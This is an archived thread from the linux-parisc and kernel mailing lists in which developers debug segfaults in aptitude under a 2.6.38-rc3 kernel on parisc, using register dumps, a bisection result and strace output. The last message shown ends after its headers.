Lines: 95
Approved: news@gmane.org
Message-ID: <AANLkTimay4R5Jd9cPyiwy6WizQwcJpC-HR9LmrdZ=bZe@mail.gmail.com>
References: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1296598611 28593 80.91.229.12 (1 Feb 2011 22:16:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Feb 2011 22:16:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 01 23:16:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PkOWj-0006jO-Mb
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Feb 2011 23:16:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752434Ab1BAWQo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Feb 2011 17:16:44 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:40299 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751708Ab1BAWQo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Feb 2011 17:16:44 -0500
Original-Received: by bwz15 with SMTP id 15so6828512bwz.19
        for <multiple recipients>; Tue, 01 Feb 2011 14:16:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=xd0+/6Dqq8+SqeSeQESkDDG5KIiwHOONvLjYytS3bGI=;
        b=WlB/zGQxk64xaVMRtcu0+JnDSLn8WNcC9wvMjw+whFKmmy+dwjkiWMZglObZlpJS7b
         C1vf0FqhgWnAWyJFf8N3NikQRq6OXMxKAQW4BQwFgm2LC/mGHAVfFnSt282pCRzIr20+
         JhLYgWH29xtcDes1vv1RFkapraByzgfHSzjI4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=UF6t+qRZBrtwxhAaFhMlaMeZa8zKgfkk565G/L5fAoASWPoZgNRrJBro2I+enTYyGx
         Xe84hqqE/j8nuG7D8uFmcWYHX4mGnwFSpLCK4Qbauel0N+t/aZMTMvWPu+KzUikIhXaD
         W+lhzCD7HxgYArI7tPNIuVOrT/0BLLz90CTsY=
Original-Received: by 10.204.75.142 with SMTP id y14mr7384546bkj.114.1296598601035;
 Tue, 01 Feb 2011 14:16:41 -0800 (PST)
Original-Received: by 10.204.64.79 with HTTP; Tue, 1 Feb 2011 14:16:40 -0800 (PST)
In-Reply-To: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee>
X-Google-Sender-Auth: B_Vkkfqd_nxiVj1QrMS7QXbYsNs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3411 gmane.linux.kernel:1094824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3411>

On Tue, Feb 1, 2011 at 5:00 PM, Meelis Roos <mroos@linux.ee> wrote:
> I have been testing devel kernels on SMP L1000 successfully until
> 2.6.38-rc2-00324-g70d1f36 included. The testing means booting the new
> kernel and running aptitude to update to current debian unstable.
>
> Now I tried 2.6.38-rc3 and got a crash from aptitude on 2 out of 2
> tries. Maybe aptitude was broken inbetween but it looks like a kernel
> bug. Retried 2.6.38-rc2-00324-g70d1f36 and that seemed to work fine s=
o
> it's more likely a kernel problem.
>
> What additional information can I provide?
>
> [ =A0 74.590000]
> [ =A0 74.590000] do_page_fault() pid=3D979 command=3D'aptitude' type=3D=
15 address=3D0x0000002d
> [ =A0 74.590000]
> [ =A0 74.590000] =A0 =A0 =A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [ =A0 74.590000] PSW: 00000000000001001111111100001111 Not tainted
> [ =A0 74.590000] r00-03 =A0000000ff0004ff0f 000000004027b5ac 00000000=
405df23b 000000004067e884
> [ =A0 74.590000] r04-07 =A0000000004067c860 000000004067e6d0 00000000=
4067e880 00000000c014b7d0
> [ =A0 74.590000] r08-11 =A00000000000000001 0000000000000001 00000000=
4067c860 0000000041b082c8
> [ =A0 74.590000] r12-15 =A0000000004067e730 000000004067e6d0 00000000=
4067c860 000000004067c860
> [ =A0 74.590000] r16-19 =A0000000004067c860 000000004067e060 00000000=
00000000 000000004067c860
> [ =A0 74.590000] r20-23 =A00000000000000229 0000000000000000 00000000=
00000000 0000000000000000
> [ =A0 74.590000] r24-27 =A0fffffffffffffff5 ffffffffffffffd3 00000000=
4067e730 00000000004227a4
> [ =A0 74.590000] r28-31 =A0000000000000002d 0000000000000000 00000000=
c014b8c0 00000000402688db
> [ =A0 74.590000] sr00-03 =A00000000000228800 0000000000228800 0000000=
000000000 0000000000228800
> [ =A0 74.590000] sr04-07 =A00000000000228800 0000000000228800 0000000=
000228800 0000000000228800
> [ =A0 74.590000]
> [ =A0 74.590000] =A0 =A0 =A0 VZOUICununcqcqcqcqcqcrmunTDVZOUI
> [ =A0 74.590000] FPSR: 00001000001000100010000000000000
> [ =A0 74.590000] FPER1: 00000000
> [ =A0 74.590000] fr00-03 =A00822200000000000 0000000000000000 0000000=
000000000 0000000000000000
> [ =A0 74.590000] fr04-07 =A00000000a00000000 0000000000000000 0000000=
000000000 0000000000000000
> [ =A0 74.590000] fr08-11 =A00000000000000000 00000000406cf120 0000000=
0401563e8 00000000404c59d8
> [ =A0 74.590000] fr12-15 =A0000000000804000f 000000000800000f 0000000=
0401563e8 00000000ffc60460
> [ =A0 74.590000] fr16-19 =A000000000406cf120 0000000040639d54 0000000=
000000046 0000000040599294
> [ =A0 74.590000] fr20-23 =A000000000ffc60348 00000000406dd920 0000000=
000000038 4038000000000000
> [ =A0 74.590000] fr24-27 =A00000000000000000 0000000000000000 3ff0000=
000000000 412e848c00000000
> [ =A0 74.590000] fr28-31 =A00000000040599250 00000000ffc60357 0000000=
0ffc60357 00000000405dfba8
> [ =A0 74.590000]
> [ =A0 74.590000] IASQ: 0000000000228800 0000000000228800 IAOQ: 000000=
00405df25b 00000000405df25f
> [ =A0 74.590000] =A0IIR: 0f80108b =A0 =A0ISR: 0000000000228800 =A0IOR=
: 000000000000002d
> [ =A0 74.590000] =A0CPU: =A0 =A0 =A0 =A00 =A0 CR30: 00000000fe050000 =
CR31: 0000000000008020
> [ =A0 74.590000] =A0ORIG_R28: 0000000000000080
> [ =A0 74.590000] =A0IAOQ[0]: 00000000405df25b
> [ =A0 74.590000] =A0IAOQ[1]: 00000000405df25f
> [ =A0 74.590000] =A0RP(r2): 00000000405df23b

The rp (return pointer) is pointing back into what appears to be a
shared library (always loaded around 0x4???????).

The iir (interrupting instruction register) is instruction "0:   0f 80
10 8b     ldw 0(ret0),r11" (you can do this yourself with "disasm"
from http://cvs.parisc-linux.org/build-tools/disasm?revision=3D1.1&view=
=3Dmarkup).

You can see that ret0 is indeed 0x2d (the address of the fault), and
loading 0x0 + 0x2d will cause a fault and kill your program.

However, the failure probably happened earlier.

As James says, you should try to bisect exactly which commit caused the=
 failure.

Cheers,
CArlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Wed, 2 Feb 2011 21:24:20 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <20110203022420.A73F54E7B@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1296699867 6811 80.91.229.12 (3 Feb 2011 02:24:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 3 Feb 2011 02:24:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: mroos@linux.ee (Meelis Roos)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 03 03:24:23 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pkorv-0007y8-7u
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Feb 2011 03:24:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755070Ab1BCCYW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Feb 2011 21:24:22 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4380 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755053Ab1BCCYW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Feb 2011 21:24:22 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A73F54E7B; Wed,  2 Feb 2011 21:24:20 -0500 (EST)
In-Reply-To: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee> from "Meelis Roos" at Feb 2, 2011 00:00:13 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3412 gmane.linux.kernel:1095502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3412>

> I have been testing devel kernels on SMP L1000 successfully until 
> 2.6.38-rc2-00324-g70d1f36 included. The testing means booting the new 
> kernel and running aptitude to update to current debian unstable.
> 
> Now I tried 2.6.38-rc3 and got a crash from aptitude on 2 out of 2 
> tries. Maybe aptitude was broken inbetween but it looks like a kernel 
> bug. Retried 2.6.38-rc2-00324-g70d1f36 and that seemed to work fine so 
> it's more likely a kernel problem.

If aptitude fails consistently, it should be possible to debug or
isolate to a particular kernel change.  Usually, SMP segvs don't
provide much information as to the cause of the problem.  strace
output and a gdb backtrace would be useful.

I have seen improved SMP stability building with GCC 4.5.3 (try a
recent snap).  This fixes an asm/branch problem.  It seems like James'
flush patch hasn't been pulled.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Thu, 3 Feb 2011 09:03:20 +0200 (EET)
Lines: 15
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1102030902390.26784@math.ut.ee>
References: <20110203022420.A73F54E7B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1296716623 1066 80.91.229.12 (3 Feb 2011 07:03:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 3 Feb 2011 07:03:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 03 08:03:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PktEA-0004OE-Pj
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Feb 2011 08:03:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752432Ab1BCHDX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Feb 2011 02:03:23 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:38029 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752377Ab1BCHDW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Feb 2011 02:03:22 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id DD0A773D7EE;
	Thu,  3 Feb 2011 09:03:20 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id D0FBBDAF81; Thu,  3 Feb 2011 09:03:20 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id C1A83DAF80;
	Thu,  3 Feb 2011 09:03:20 +0200 (EET)
In-Reply-To: <20110203022420.A73F54E7B@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3413 gmane.linux.kernel:1095565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3413>

> If aptitude fails consistently, it should be possible to debug or
> isolate to a particular kernel change.  Usually, SMP segvs don't
> provide much information as to the cause of the problem.  strace
> output and a gdb backtrace would be useful.

It's not failing consitently - it's in different places. I'm bisecting 
now.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Fri, 4 Feb 2011 00:36:32 +0200 (EET)
Lines: 58
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1102040018390.16704@math.ut.ee>
References: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee> <1296598360.18277.11.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1296772604 18966 80.91.229.12 (3 Feb 2011 22:36:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 3 Feb 2011 22:36:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 03 23:36:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pl7n2-0003Vx-Pt
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Feb 2011 23:36:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754131Ab1BCWgf convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Feb 2011 17:36:35 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:40306 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751778Ab1BCWgf convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Feb 2011 17:36:35 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id E6E5C6E5086;
	Fri,  4 Feb 2011 00:36:32 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id D0707DAF81; Fri,  4 Feb 2011 00:36:32 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id ABB17DAF80;
	Fri,  4 Feb 2011 00:36:32 +0200 (EET)
In-Reply-To: <1296598360.18277.11.camel@mulgrave.site>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3414 gmane.linux.kernel:1095901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3414>

> > I have been testing devel kernels on SMP L1000 successfully until=20
> > 2.6.38-rc2-00324-g70d1f36 included. The testing means booting the n=
ew=20
> > kernel and running aptitude to update to current debian unstable.
> >=20
> > Now I tried 2.6.38-rc3 and got a crash from aptitude on 2 out of 2=20
> > tries. Maybe aptitude was broken inbetween but it looks like a kern=
el=20
> > bug. Retried 2.6.38-rc2-00324-g70d1f36 and that seemed to work fine=
 so=20
> > it's more likely a kernel problem.
> >=20
> > What additional information can I provide?
>=20
> Probably a bisection, if you could.  There have been no parisc patche=
s
> between -rc2 and -rc3, so it's coming from outside the architecture.

The result is strange :(

6b28405395f7ec492ea69f541cc774adcb9e00ca is the first bad commit
commit 6b28405395f7ec492ea69f541cc774adcb9e00ca
Author: Axel K=C3=B6llhofer <AxelKoellhofer@web.de>
Date:   Sat Jan 22 14:33:50 2011 -0600

    staging: r8712u: Add new device IDs

    This patch adds several new device ids to the r8712u staging driver=
=2E
    The new ids were retrieved from latest vendor driver (v2.6.6.0.2010=
1111)
    downloadable from www.realtek.com.tw

    Signed-off-by: Axel Koellhofer <AxelKoellhofer@web.de>
    Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net>
    Cc: Stable <stable@kernel.org> [2.6.37]
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>

:040000 040000 185c3d2c1e98cc99009bfb772ed0779410784110 f5aa903931116f2=
8f803003f594fec3b2a29a6f6 M      drivers

Seems absolutely unrelated - I do not have staging enabled so so no=20
CONFIG_R8712U either.

The "bad" bisects were clearly bad and failed quicky during aptitude=20
list update but the good ones might have needed more stress... or it is=
=20
some alignment-like problem. Will try again starting from these bad=20
bisects to narrow it down, and stress seemingly good ones better.

--=20
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Fri, 4 Feb 2011 12:11:55 +0200 (EET)
Lines: 68
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1102041150390.8218@math.ut.ee>
References: <20110203022420.A73F54E7B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1296814329 32391 80.91.229.12 (4 Feb 2011 10:12:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Feb 2011 10:12:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 04 11:12:04 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PlIdz-0005Cj-Gg
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Feb 2011 11:11:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754490Ab1BDKL6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Feb 2011 05:11:58 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:35439 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754043Ab1BDKL5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Feb 2011 05:11:57 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id ED1C76E50AD;
	Fri,  4 Feb 2011 12:11:55 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id E4096DAF81; Fri,  4 Feb 2011 12:11:55 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id D93CDDAF80;
	Fri,  4 Feb 2011 12:11:55 +0200 (EET)
In-Reply-To: <20110203022420.A73F54E7B@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3415 gmane.linux.kernel:1096008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3415>

> If aptitude fails consistently, it should be possible to debug or
> isolate to a particular kernel change.  Usually, SMP segvs don't
> provide much information as to the cause of the problem.  strace
> output and a gdb backtrace would be useful.

strace works but does not tell much to me:

2349  _newselect(1, [0], NULL, NULL, {0, 0}) = 0 (Timeout)
2349  rt_sigaction(SIGTSTP, {0x40664bea, [RT_1 RT_4 RT_5 RT_7 RT_11 RT_12 RT_15 RT_16 RT_18 RT_26], SA_RESTART}, NULL, 8) = 0
2349  futex(0x458e0858, FUTEX_WAKE_OP_PRIVATE, 1, 1, 0x458e0850, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = -1 ENOSYS (Function not implemented)
2349  futex(0x458e0858, FUTEX_WAKE_PRIVATE, 1 <unfinished ...>
2363  <... futex resumed> )             = 0
2363  futex(0x458e0850, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
2349  <... futex resumed> )             = 1
2349  futex(0x458e0850, FUTEX_WAKE_PRIVATE, 1 <unfinished ...>
2363  <... futex resumed> )             = 0
2363  futex(0x458e0850, FUTEX_WAKE_PRIVATE, 1) = 0
2363  futex(0x458e0820, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
2349  <... futex resumed> )             = 1
2349  futex(0x458e0820, FUTEX_WAKE_PRIVATE, 1 <unfinished ...>
2363  <... futex resumed> )             = 0
2363  futex(0x458e0820, FUTEX_WAKE_PRIVATE, 1) = 0
2363  rename("/var/lib/apt/lists/partial/ftp.ee.debian.org_debian_dists_unstable_main_source_Sources.diff_2011-02-02-0207.41.decomp", "/var/lib/apt/lists/ftp.ee.debian.org_debian_dists_unstable_main_source_Sources.ed") = 0
2363  stat64("/usr/lib/apt/methods/rred", {st_mode=0, st_size=0, ...}) = 0
2363  pipe([26, 28])                    = 0
2363  pipe([30, 31])                    = 0
2363  fcntl64(26, F_SETFD, FD_CLOEXEC)  = 0
2363  fcntl64(28, F_SETFD, FD_CLOEXEC)  = 0
2363  fcntl64(30, F_SETFD, FD_CLOEXEC)  = 0
2363  fcntl64(31, F_SETFD, FD_CLOEXEC)  = 0
2363  clone( <unfinished ...>
2349  <... futex resumed> )             = 1
2363  <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x460df4a8) = 2372
2349  --- SIGSEGV (Segmentation fault) @ 0 (0) ---
2372  rt_sigaction(SIGPIPE, {SIG_DFL, [], SA_RESTART},  <unfinished ...>
2349  write(1, "\33[56;1H\33[34h\33[?25h", 18 <unfinished ...>

Something futex-related. Full log temprarilty available at 
http://www.cs.ut.ee/~mroos/aptitude-strace.txt

gdb does not seem to work well:

root@hernes:~# gdb aptitude
GNU gdb (GDB) 7.2-debian
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu".
For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/bin/aptitude...(no debugging symbols found)...done.
(gdb) run
Starting program: /usr/bin/aptitude
[Thread debugging using libthread_db enabled]
warning: Can't attach LWP 1075813436: No such process
/tmp/buildd/gdb-7.2/gdb/linux-thread-db.c:392: internal-error: thread_get_info_callback: Assertion `inout->thread_info != NULL' failed.
A problem internal to GDB has been detected,
further debugging may prove unreliable.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Fri, 4 Feb 2011 10:07:03 -0500
Organization: nrc.ca
Lines: 29
Approved: news@gmane.org
Message-ID: <20110204150703.GA9254@hiauly1.hia.nrc.ca>
References: <20110203022420.A73F54E7B@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1102041150390.8218@math.ut.ee>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1296832033 29967 80.91.229.12 (4 Feb 2011 15:07:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Feb 2011 15:07:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 04 16:07:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PlNFc-0006Yq-0F
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Feb 2011 16:07:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751586Ab1BDPHH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Feb 2011 10:07:07 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1440 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751511Ab1BDPHG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Feb 2011 10:07:06 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 502D04DF4; Fri,  4 Feb 2011 10:07:04 -0500 (EST)
Content-Disposition: inline
